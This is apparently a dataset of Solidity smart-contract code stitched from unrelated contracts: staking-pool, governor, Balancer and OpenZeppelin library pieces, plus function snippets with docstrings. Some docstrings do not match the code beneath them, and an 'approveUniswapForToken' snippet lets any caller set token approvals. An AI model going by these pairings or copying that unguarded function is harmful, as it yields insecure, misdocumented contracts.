_allowedTokens[_allowedTokens.length - 1]; _isAllowedMap[token] = false; return; } } } } /** * @dev the claim amount for the given claim id */ function claimAmount(uint256 claimHash) external view override returns (uint256) { return claimAmountPaid[claimHash]; } /** * @dev the claim quantity (count of gems staked) for the given claim id */ function claimQuantity(uint256 claimHash) external view override returns (uint256) { return claimQuant[claimHash]; } /** * @dev the lock time for this claim. once past lock time a gema is minted */ function claimUnlockTime(uint256 claimHash) external view override returns (uint256) { return claimLockTimestamps[claimHash]; } /** * @dev claim token amount if paid using erc20 */ function claimTokenAmount(uint256 claimHash) external view override returns (uint256) { return claimTokenAmountPaid[claimHash]; } /** * @dev the staked token if staking with erc20 */ function stakedToken(uint256 claimHash) external view override returns (address) { return claimLockToken[claimHash]; } /** * @dev get token id (serial #) of the given token hash. 0 if not a token, 1 if claim, 2 if gem */ function _addToken(uint256 tokenHash, uint8 tt) internal { require(tt == 1 || tt == 2, "INVALID_TOKENTYPE"); _tokenHashes.push(tokenHash); _tokenTypes[tokenHash] = tt; _tokenIds[tokenHash] = tt == 1 ? __nextClaimId() : __nextGemId(); if(tt == 2) { _increaseDifficulty(); } } /** * @dev get the next claim id */ function __nextClaimId() private returns (uint256) { uint256 ncId = _nextClaimId; _nextClaimId = _nextClaimId.add(1); return ncId; } /** * @dev get the next gem id */ function __nextGemId() private returns (uint256) { uint256 ncId = _nextGemId; _nextGemId = _nextGemId.add(1); return ncId; } /** * @dev increase the pool's difficulty by calculating the step increase portion and adding it to the eth price of the market */ function _increaseDifficulty() private { uint256 diffIncrease = _ethPrice.div(_diffstep); _ethPrice = _ethPrice.add(diffIncrease); } /** * @dev the hash of the next gem to be minted */ function _nextGemHash() internal view returns (uint256) { return uint256(keccak256(abi.encodePacked("gem", address(this), _nextGemId))); } /** * @dev the hash of the next claim to be minted */ function _nextClaimHash() internal view returns (uint256) { return (_maxClaims != 0 && _nextClaimId <= _maxClaims) || _maxClaims == 0 ? uint256(keccak256(abi.encodePacked("claim", address(this), _nextClaimId))) : 0; } } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24; import "../utils/Address.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !Address.isContract(address(this)); } }
Interface of the ERC20 standard as defined in the EIP./
interface INFTGemGovernor { event GovernanceTokenIssued(address indexed receiver, uint256 amount); event FeeUpdated(address indexed proposal, address indexed token, uint256 newFee); event AllowList(address indexed proposal, address indexed token, bool isBanned); event ProjectFunded(address indexed proposal, address indexed receiver, uint256 received); event StakingPoolCreated( address indexed proposal, address indexed pool, string symbol, string name, uint256 ethPrice, uint256 minTime, uint256 maxTime, uint256 diffStep, uint256 maxClaims, address alllowedToken ); function initialize( address _multitoken, address _factory, address _feeTracker, address _proposalFactory, address _swapHelper ) external; function createProposalVoteTokens(uint256 proposalHash) external; function destroyProposalVoteTokens(uint256 proposalHash) external; function executeProposal(address propAddress) external; function issueInitialGovernanceTokens(address receiver) external returns (uint256); function maybeIssueGovernanceToken(address receiver) external returns (uint256); function issueFuelToken(address receiver, uint256 amount) external returns (uint256); function createPool( string memory symbol, string memory name, uint256 ethPrice, uint256 minTime, uint256 maxTime, uint256 diffstep, uint256 maxClaims, address allowedToken ) external returns (address); function createSystemPool( string memory symbol, string memory name, uint256 ethPrice, uint256 minTime, uint256 maxTime, uint256 diffstep, uint256 maxClaims, address allowedToken ) external returns (address); function createNewPoolProposal( address, string memory, string memory, string memory, uint256, uint256, uint256, uint256, uint256, address ) external returns (address); function createChangeFeeProposal( address, string memory, address, address, uint256 ) external returns (address); function createFundProjectProposal( address, string memory, address, string memory, uint256 ) external returns (address); function createUpdateAllowlistProposal( address, string memory, address, address, bool ) external returns (address); }
11,794,075
./full_match/3/0xbb28c1161b27790DfBb2c97630830cB2E21419f2/sources/Uniswap_Bulk_Sender.sol
approve uniswap's router to spend a token behalf of smart contract
function approveUniswapForToken(address _token_address, uint256 _amount, address _router_address) public payable { IERC20 _token = IERC20(_token_address); _token.approve(_router_address, _amount); }
14,197,466
./full_match/1/0x700d6d24A55512c6AEC08820B49da4e4193105B3/sources/src/Minter.sol
Mints WAR token based of the amount of token deposited, mints for the given receiver vlToken Address of the token to deposit amount Amount to deposit receiver Address to receive the minted WAR/
function mint(address vlToken, uint256 amount, address receiver) external nonReentrant { _mint(vlToken, amount, receiver); }
3,008,461
./partial_match/3/0xCa1d4A6CD471669512ba61EfB0378D981Bed5D42/sources/Galaxy.sol
View function to see pending GUMs on frontend.
function pendingGum(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accGumPerShare = pool.accGumPerShare; uint256 blockNumber = min(block.number, rewardsEndBlock); uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (blockNumber > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier( pool.lastRewardBlock, blockNumber ); uint256 gumReward = multiplier .mul(gumPerBlock) .mul(pool.allocPoint) .div(totalAllocPoint); accGumPerShare = accGumPerShare.add( gumReward.mul(1e12).div(lpSupply) ); } return user.amount.mul(accGumPerShare).div(1e12).sub(user.rewardDebt); }
5,215,728
// SPDX-License-Identifier: AGPL-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; // Global Enums and Structs struct StrategyParams { uint256 performanceFee; uint256 activation; uint256 debtRatio; uint256 minDebtPerHarvest; uint256 maxDebtPerHarvest; uint256 lastReport; uint256 totalDebt; uint256 totalGain; uint256 totalLoss; } // Part: IAsset interface IAsset { // solhint-disable-previous-line no-empty-blocks } // Part: OpenZeppelin/[email protected]/Address /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Part: OpenZeppelin/[email protected]/Context /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // Part: OpenZeppelin/[email protected]/IERC20 /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // Part: OpenZeppelin/[email protected]/Math /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // Part: OpenZeppelin/[email protected]/SafeMath /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // Part: yearn/[email protected]/HealthCheck interface HealthCheck { function check( uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding, uint256 totalDebt ) external view returns (bool); } // Part: IBalancerPool interface IBalancerPool is IERC20 { enum SwapKind {GIVEN_IN, GIVEN_OUT} struct SwapRequest { SwapKind kind; IERC20 tokenIn; IERC20 tokenOut; uint256 amount; // Misc data bytes32 poolId; uint256 lastChangeBlock; address from; address to; bytes userData; } function getPoolId() external view returns (bytes32 poolId); function symbol() external view returns (string memory s); function onSwap( SwapRequest memory swapRequest, uint256[] memory balances, uint256 indexIn, uint256 indexOut ) external returns (uint256 amount); } // Part: IBalancerVault interface IBalancerVault { enum PoolSpecialization {GENERAL, MINIMAL_SWAP_INFO, TWO_TOKEN} enum JoinKind {INIT, EXACT_TOKENS_IN_FOR_BPT_OUT, TOKEN_IN_FOR_EXACT_BPT_OUT, ALL_TOKENS_IN_FOR_EXACT_BPT_OUT} enum ExitKind {EXACT_BPT_IN_FOR_ONE_TOKEN_OUT, EXACT_BPT_IN_FOR_TOKENS_OUT, BPT_IN_FOR_EXACT_TOKENS_OUT} enum SwapKind {GIVEN_IN, GIVEN_OUT} /** * @dev Data for each individual swap executed by `batchSwap`. The asset in and out fields are indexes into the * `assets` array passed to that function, and ETH assets are converted to WETH. * * If `amount` is zero, the multihop mechanism is used to determine the actual amount based on the amount in/out * from the previous swap, depending on the swap kind. * * The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be * used to extend swap behavior. */ struct BatchSwapStep { bytes32 poolId; uint256 assetInIndex; uint256 assetOutIndex; uint256 amount; bytes userData; } /** * @dev All tokens in a swap are either sent from the `sender` account to the Vault, or from the Vault to the * `recipient` account. * * If the caller is not `sender`, it must be an authorized relayer for them. * * If `fromInternalBalance` is true, the `sender`'s Internal Balance will be preferred, performing an ERC20 * transfer for the difference between the requested amount and the User's Internal Balance (if any). The `sender` * must have allowed the Vault to use their tokens via `IERC20.approve()`. This matches the behavior of * `joinPool`. * * If `toInternalBalance` is true, tokens will be deposited to `recipient`'s internal balance instead of * transferred. This matches the behavior of `exitPool`. * * Note that ETH cannot be deposited to or withdrawn from Internal Balance: attempting to do so will trigger a * revert. */ struct FundManagement { address sender; bool fromInternalBalance; address payable recipient; bool toInternalBalance; } /** * @dev Data for a single swap executed by `swap`. `amount` is either `amountIn` or `amountOut` depending on * the `kind` value. * * `assetIn` and `assetOut` are either token addresses, or the IAsset sentinel value for ETH (the zero address). * Note that Pools never interact with ETH directly: it will be wrapped to or unwrapped from WETH by the Vault. * * The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be * used to extend swap behavior. */ struct SingleSwap { bytes32 poolId; SwapKind kind; IAsset assetIn; IAsset assetOut; uint256 amount; bytes userData; } // enconding formats https://github.com/balancer-labs/balancer-v2-monorepo/blob/master/pkg/balancer-js/src/pool-weighted/encoder.ts struct JoinPoolRequest { IAsset[] assets; uint256[] maxAmountsIn; bytes userData; bool fromInternalBalance; } struct ExitPoolRequest { IAsset[] assets; uint256[] minAmountsOut; bytes userData; bool toInternalBalance; } function joinPool( bytes32 poolId, address sender, address recipient, JoinPoolRequest memory request ) external payable; function exitPool( bytes32 poolId, address sender, address payable recipient, ExitPoolRequest calldata request ) external; function getPool(bytes32 poolId) external view returns (address poolAddress, PoolSpecialization); function getPoolTokenInfo(bytes32 poolId, IERC20 token) external view returns ( uint256 cash, uint256 managed, uint256 lastChangeBlock, address assetManager ); function getPoolTokens(bytes32 poolId) external view returns ( IERC20[] calldata tokens, uint256[] calldata balances, uint256 lastChangeBlock ); /** * @dev Performs a swap with a single Pool. * * If the swap is 'given in' (the number of tokens to send to the Pool is known), it returns the amount of tokens * taken from the Pool, which must be greater than or equal to `limit`. * * If the swap is 'given out' (the number of tokens to take from the Pool is known), it returns the amount of tokens * sent to the Pool, which must be less than or equal to `limit`. * * Internal Balance usage and the recipient are determined by the `funds` struct. * * Emits a `Swap` event. */ function swap( SingleSwap memory singleSwap, FundManagement memory funds, uint256 limit, uint256 deadline ) external returns (uint256 amountCalculated); /** * @dev Performs a series of swaps with one or multiple Pools. In each individual swap, the caller determines either * the amount of tokens sent to or received from the Pool, depending on the `kind` value. * * Returns an array with the net Vault asset balance deltas. Positive amounts represent tokens (or ETH) sent to the * Vault, and negative amounts represent tokens (or ETH) sent by the Vault. Each delta corresponds to the asset at * the same index in the `assets` array. * * Swaps are executed sequentially, in the order specified by the `swaps` array. Each array element describes a * Pool, the token to be sent to this Pool, the token to receive from it, and an amount that is either `amountIn` or * `amountOut` depending on the swap kind. * * Multihop swaps can be executed by passing an `amount` value of zero for a swap. This will cause the amount in/out * of the previous swap to be used as the amount in for the current one. In a 'given in' swap, 'tokenIn' must equal * the previous swap's `tokenOut`. For a 'given out' swap, `tokenOut` must equal the previous swap's `tokenIn`. * * The `assets` array contains the addresses of all assets involved in the swaps. These are either token addresses, * or the IAsset sentinel value for ETH (the zero address). Each entry in the `swaps` array specifies tokens in and * out by referencing an index in `assets`. Note that Pools never interact with ETH directly: it will be wrapped to * or unwrapped from WETH by the Vault. * * Internal Balance usage, sender, and recipient are determined by the `funds` struct. The `limits` array specifies * the minimum or maximum amount of each token the vault is allowed to transfer. * * `batchSwap` can be used to make a single swap, like `swap` does, but doing so requires more gas than the * equivalent `swap` call. * * Emits `Swap` events. */ function batchSwap( SwapKind kind, BatchSwapStep[] memory swaps, IAsset[] memory assets, FundManagement memory funds, int256[] memory limits, uint256 deadline ) external payable returns (int256[] memory); // CAVEAT!! Do not call this after a batchSwap in the same txn function queryBatchSwap( SwapKind kind, BatchSwapStep[] memory swaps, IAsset[] memory assets, FundManagement memory funds ) external returns (int256[] memory); } // Part: OpenZeppelin/[email protected]/ERC20 /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { 